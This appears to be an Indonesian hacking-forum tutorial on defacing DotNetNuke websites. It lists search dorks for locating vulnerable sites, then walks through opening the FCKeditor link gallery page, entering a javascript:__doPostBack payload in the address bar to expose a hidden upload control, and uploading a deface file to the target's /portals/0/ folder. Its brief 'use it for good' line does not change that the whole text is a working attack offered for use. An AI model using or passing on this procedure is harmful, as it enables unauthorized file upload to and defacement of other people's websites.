Deface DNN (DotNetNuke) Exploit !!

Dork : inurl:/portals/0/
inurl:/dnn/portals/0/
inurl:/dotnetnuke/portals/0/
inurl:/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Contoh >>http://sitetarget.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx


Lalu klik/ceklist Link Type: >> File ( A File On Your Site )


Setelah di klik atau block,hapus link di URL...!!
http://sitetarget.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
Lalu masukan ini di URL => javascript:__doPostBack('ctlURL$cmdUpload','')
Kemudian tekan Enter.



Lalu silahkan Upload desain atau halaman deface dari komputer atau PC anda, contoh xnukerz.txt
klik >> Upload Selected File


Jika sudah terupload,maka file deface kamu telah masuk ke server tersebut.

Selesai upload nanti kelihatan di File Name contoh: ibllezboy.txt
Untuk melihat hasilnya >> nama web/Portals/0/nama file.
Contoh: http://situstarget.com/portals/0/xnukerz.txt


Catatan: Anda hanya dapat meng-upload type file:*. swf, *. jpg, *. jpeg, *. JPE, *. gif, *. bmp, *. png, *. doc, *. xls, *. ppt, *. pdf, *. txt, *. xml, *. xsl, *. css, *. zip, *. 3gp, *. asf, *. asx, *. avi, *. flv, *. m4v, *. mov, *. mp4, *. mpe, *. mpeg, *. mpg, *. ram, *. rm, *. rmvb, *. wm, *. wmv, *. vob
tetapi admin dapat mengubah ini.

Saya mempraktekan metode ini dengan windows XP, dan setelah di coba ternyata bisa di gunakan di semua Windows.
Saran saya adalah , Gunakan ilmu yang anda peroleh untuk kebaikan , karena baik dan buruknya tergantung dari pribadi masing masing.

Ampun Mastah

izin nyimak om, sambil tduran